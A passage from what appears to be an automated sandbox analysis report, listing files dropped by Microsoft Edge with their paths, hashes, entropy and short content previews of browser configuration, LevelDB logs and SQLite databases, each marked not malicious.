Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".fldrbf20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\11737bb9-770e-4ee9-8503-ba6e638e7344.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.563812961894903
Encrypted:	false
SSDEEP:	768:8wpqCvWNYW5wR9f4Wj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkLkrI273ErwX8VWP:8yFv4YWaR9fPju1jatLk7DdMVWzZ06tP
MD5:	9CB03D1985D860D23A0E07C0ADAA9EEE
SHA1:	3DE9B2827952DEA49DE5BA35E07790A4B8A39498
SHA-256:	C27280406B4F5B8656A5E22B13B57698A28BBC9185BAFFC0FC37F71723508681
SHA-512:	0B5DA07F8D1708C69EF13202EF5EFE7CB60DE81E3F53D39CA6DC9BA692C983B8E497A662A6F4AD9128D4C743B5CADA76B0A838704C0563C5C64428B6A7B9DCE1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382898830892081","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382898830892081","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\129b2a52-2790-45ec-b002-aa78190c2267.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14101
Entropy (8bit):	5.288989028867359
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrEEdAgukJMYhs8nbV+FIYQwzJULPcYJ:stVPGKSu4Ts6M8CDVdbJbG3QwWp
MD5:	1AA5B6CABB379CB948B927B41E83E223
SHA1:	2054E8EBAB1E6CB28FE10D56D760937E62F25767
SHA-256:	F9EAC947C32ED801EAC5A203259450BAE3C7F85276240F8C54E30F58A8686B56
SHA-512:	6524622A1ADD050FE050FAFFF48F5ABF51EB9559DDB3E4180CE99E5156193A3F7A8B41F7944EA045D262450B92057931693B0AD643E4A7760E3349EFD4D69214
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1835bec4-a7a4-4d32-8745-e96e5f76c200.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14266
Entropy (8bit):	5.286554696294932
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrEEdAgukJMYhs8nbV+FIYQwzL3LPcYJ:stVPGKSu4Ts6M8CDVdbJbG3Qw33p
MD5:	8A12B29F2E09F0D2A22079AD6F2D8E97
SHA1:	F8201D5896B7AB77D6D7A697CC40C820DD0CD200
SHA-256:	896E027BA526D97A9B242CCF02D95B88ECD32463CB6A59411570C2B994A44582
SHA-512:	7716966E2577D1B0EF5BA1746C4C98EC85F7D3C11AB1D316DBE45067BDE0D0D0A3E1AC4391803FFC45F1DA715A9CAE302943BB33360DA0E3DF10953113303B65
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49737482-90c0-4512-b6ed-92d4273f2880.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.560650794157797
Encrypted:	false
SSDEEP:	768:8wpqCvWrs7pLGL7aYW5wR9f41j8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkLkrI27V:8yFv0Qc7aYWaR9fqju1jatLk7DdMVW0W
MD5:	4C2D580B32041857101F4ED65055C3E4
SHA1:	620A0BAF0D89B0C8E37AD6B0ECCC3FB405FAF22C
SHA-256:	F34976E73D8B0B515481877B5E5B470450A3B27E55C253A2159789FB5FA021F5
SHA-512:	4282880678681F4A4CDF998B9CDCA1A74D7BB7B5E9ED603B52E4DB1D36E0A7EEF366CC8227724B485E29CD5DC2138EE7FCAC210EF09A695C8627E3215BC08DC8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382898830892081","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382898830892081","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9f36e493-e678-4d8d-8a3b-9aed2235e373.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.225985707400594
Encrypted:	false
SSDEEP:	6:iOXAEdEv+q1N723oH+Tcwtp3hBtB2KLl1ACLq2PN723oH+Tcwtp3hBWsIFUv:7w0ZaaYebp3dFLcCLvVaYebp3eFUv
MD5:	4B13B98A14104D8B06A9733E1C48C833
SHA1:	D2C2F1AB47381F546BDDA9DE0593BC51F84A58AC
SHA-256:	58C512CDFBDA11E802D8E5636ED8FB02876D24D0F425149B79C420344A2E343B
SHA-512:	78ADF930E98E089DEF63918E9BE37C42F43B41981024ADF11D0BAFBF77F89FFEF73FBB10F2663E1AB1B6B027CC1D388A29038ECB2B0B309720B1695B67C931C7
Malicious:	false
Preview:	2025/02/01-10:53:56.385 13d0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/01-10:53:56.596 13d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222876949483774
Encrypted:	false
SSDEEP:	24576:IbPMZpV3fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV3fx2mjF
MD5:	94EF6C56334DA599B3E5718E4E681682
SHA1:	1F1CDEDC1402629D1559FF33552CB829855BB254
SHA-256:	77BC9C6CBDB1C8D762D855E226C9EE071EF2E1EAEF2AA1C387D826615A5A6B6E
SHA-512:	455CE0243E4A4EA4004F9C07FF0C56478FF44E6393AA4B30D2C32B8FAF3BC7E7F45CAF257CA6BB4133B91941EB9DBCFC3C390D5E31C12E41C0A658AA9D2FDBE7
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.075980242646536
Encrypted:	false
SSDEEP:	6:iOXAEX7q2PN723oH+Tcwt9Eh1tIFUtFAEQ0Zmw7AEO0kwON723oH+Tcwt9Eh15LJ:7wSvVaYeb9Eh16FUtut0/cs5OaYeb9Er
MD5:	5D10C029F45475A872108B947A99E3FE
SHA1:	42ADB642CBDFBE3EE3EB6BD0747CC5570E6784AA
SHA-256:	750521C1C17F25241B4DBD16DE10DE1F1948EA7CA96BBB29B52B8F9F9FE631ED
SHA-512:	982E631504CB5198B3B1446C238D7CC9B2A25B315917A4A23903F1051C569A4821DEF6F557F4CE16E6929E385B98922C6E053AB1C35186585D59C63C793BD202
Malicious:	false
Preview:	2025/02/01-10:53:56.322 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/01-10:53:56.332 1bb0 Recovering log #3.2025/02/01-10:53:56.338 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.075980242646536
Encrypted:	false
SSDEEP:	6:iOXAEX7q2PN723oH+Tcwt9Eh1tIFUtFAEQ0Zmw7AEO0kwON723oH+Tcwt9Eh15LJ:7wSvVaYeb9Eh16FUtut0/cs5OaYeb9Er
MD5:	5D10C029F45475A872108B947A99E3FE
SHA1:	42ADB642CBDFBE3EE3EB6BD0747CC5570E6784AA
SHA-256:	750521C1C17F25241B4DBD16DE10DE1F1948EA7CA96BBB29B52B8F9F9FE631ED
SHA-512:	982E631504CB5198B3B1446C238D7CC9B2A25B315917A4A23903F1051C569A4821DEF6F557F4CE16E6929E385B98922C6E053AB1C35186585D59C63C793BD202
Malicious:	false
Preview:	2025/02/01-10:53:56.322 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/01-10:53:56.332 1bb0 Recovering log #3.2025/02/01-10:53:56.338 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4629369858999403
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5Q:TouQq3qh7z3bY2LNW9WMcUvBu6
MD5:	BAE173A2BF19CF18329AF20616B88E80
SHA1:	EA504C4F6A49C3442077D02D9FC5E4D248052DFD
SHA-256:	73EE60CEEA542FD1D132A6261B0714F59D1BC7E6948798553CAE0667B6F52542
SHA-512:	358D5070E0F6AE11BB2F4CFDCAF4809BEA88D09FD75BE58AFF98F6CCCCA502B745480729B6BAB5FAEA6B29B3F32D3BFFEE76C15679FB32433AF70383602BCE6D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.182133143580449
Encrypted:	false
SSDEEP:	6:iOXAYbKq2PN723oH+TcwtnG2tMsIFUtFAYRvH9Zmw7AYRvHPkwON723oH+TcwtnB:7wYGvVaYebn9GFUtuYRvH9/cYRvHP5OG
MD5:	C569D864636C03CB7C92BF667FFDA002
SHA1:	A56711E78848E9215A6FC1AC201CD919580ADC74
SHA-256:	940B6656B20C1D3513DC50F09BAD04750849CD5251C74F6FB74BF96C23471CD4
SHA-512:	A778F6CFE5B43F1A714FFE7CE8F37777504D8003F366E522A52F6D2D85763BD7726310742CD302C17DAA839B77D6D30A868459BC6311DFAEEEC3BFC4A0D2CBEA
Malicious:	false
Preview:	2025/02/01-10:53:50.939 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/01-10:53:50.940 1694 Recovering log #3.2025/02/01-10:53:50.940 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.182133143580449
Encrypted:	false
SSDEEP:	6:iOXAYbKq2PN723oH+TcwtnG2tMsIFUtFAYRvH9Zmw7AYRvHPkwON723oH+TcwtnB:7wYGvVaYebn9GFUtuYRvH9/cYRvHP5OG
MD5:	C569D864636C03CB7C92BF667FFDA002
SHA1:	A56711E78848E9215A6FC1AC201CD919580ADC74
SHA-256:	940B6656B20C1D3513DC50F09BAD04750849CD5251C74F6FB74BF96C23471CD4
SHA-512:	A778F6CFE5B43F1A714FFE7CE8F37777504D8003F366E522A52F6D2D85763BD7726310742CD302C17DAA839B77D6D30A868459BC6311DFAEEEC3BFC4A0D2CBEA
Malicious:	false
Preview:	2025/02/01-10:53:50.939 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/01-10:53:50.940 1694 Recovering log #3.2025/02/01-10:53:50.940 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6138689534476762
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jLFSnpFUFamL:TO8D4jJ/6Up+Vvf
MD5:	E1954D762FD031E10EDF035522404325
SHA1:	6681F24C025EC5B7DCB70BE3D8CC2C5471123592
SHA-256:	37FEFDF8088F7F075337359628E491497629567B4781DF7B44B748DA1C59B52A
SHA-512:	5A66217B574979AE209DA5F9CE0D0983EE7306BAE0A9FB1CDB7FBB95E23F255D0D5D128AD973ED48341F2BDDD0A305F14457E2991CFCACDE06E0143CB31EFE34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354107233891468
Encrypted:	false
SSDEEP:	6144:lA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:lFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	252FA0CDDDF87E0645F84A85D9B87CD5
SHA1:	1A54C5B2B5122A1C8E50486BB141054C23215461
SHA-256:	CA8C96A3CA0B319AE9607700EE5CC76EE61ACEADE088DABF75BC4638801FC95D
SHA-512:	75A326E9EA6012BFB64D7CA315F0330006C341E18B29E872069A53E8CECC68787A99EFB337CE47F7B37B1A86B872E4F3FC260448BFFB71843059E548E7420D11
Malicious:	false
Preview:	...m.................DB_VERSION.1.-R.q...............&QUERY_TIMESTAMP:domains_config_gz2...13382898837404888..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
